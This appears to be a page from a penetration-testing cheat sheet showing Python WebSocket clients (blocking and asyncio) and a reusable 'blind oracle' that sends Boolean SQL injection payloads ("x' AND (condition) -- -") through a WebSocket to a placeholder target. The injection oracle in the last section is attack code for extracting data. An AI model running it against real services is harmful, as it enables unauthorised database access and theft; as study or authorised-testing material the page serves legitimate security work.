WebSockets
WebSocket starts as an HTTP upgrade and then keeps one connection open for messages in both directions. Unlike separate HTTP request-response pairs, either endpoint can send another message without opening a new connection.
WebSocket client — sync (websocket-client)
The websocket-client library provides blocking functions. send() does not return until the message has been handed to the socket, and recv() waits until the peer sends the next message. Cookies or other application authentication can be included in the opening handshake headers.
import websocket # pip install websocket-client
ws = websocket.create_connection(
"ws://TARGET/socket",
header=["Cookie: session=ABC", "Origin: http://TARGET"]
)
message = '{"action":"login","username":"admin","password":"x"}'
ws.send(message)
response = ws.recv()
print(response)
ws.close()Find by: websocket, ws, websocket-client, create_connection, send, recv, realtime, socket, cookie, origin, headers
WebSocket client — asyncio (websockets)
The websockets library uses Python’s asyncio event loop. An async function is a coroutine that can pause at await while network input is unavailable, allowing the same thread to advance other scheduled coroutines. This fits interleaved messages or several concurrent WebSocket connections.
import asyncio
from websockets.asyncio.client import connect
async def main():
headers = {
"Cookie": "session=ABC"
}
async with connect("ws://TARGET/ws", additional_headers=headers) as ws:
await ws.send("ping")
response = await ws.recv()
print(response)
asyncio.run(main())The current asyncio API names the custom-handshake argument additional_headers. The deprecated legacy API used extra_headers.
Find by: websocket, ws, websockets, asyncio, async, await, connect, send, recv, coroutine, stream
WebSocket blind oracle (reuse one socket)
A WebSocket injection sink changes only the transport used to deliver each candidate. The oracle still accepts a Boolean condition, inserts it into the vulnerable message field, receives the corresponding server message, and converts a known positive marker into a Python Boolean. Reusing one authenticated socket avoids a new HTTP upgrade handshake for every candidate.
import json
import websocket
ws = websocket.create_connection("ws://TARGET/socket")
TRUE_STRING = "<TRUE_RESPONSE_MARKER>"
def oracle(condition):
message_data = {
"search": f"x' AND ({condition}) -- -"
}
message = json.dumps(message_data)
ws.send(message)
response = ws.recv()
is_true = TRUE_STRING in response
return is_trueThe WebSocket response marker belongs to the application reached through the socket. WebSocket itself does not define which message represents a true injected condition.
Find by: websocket, ws, blind, oracle, injection over websocket, boolean, extract, dump, keep alive, persistent connection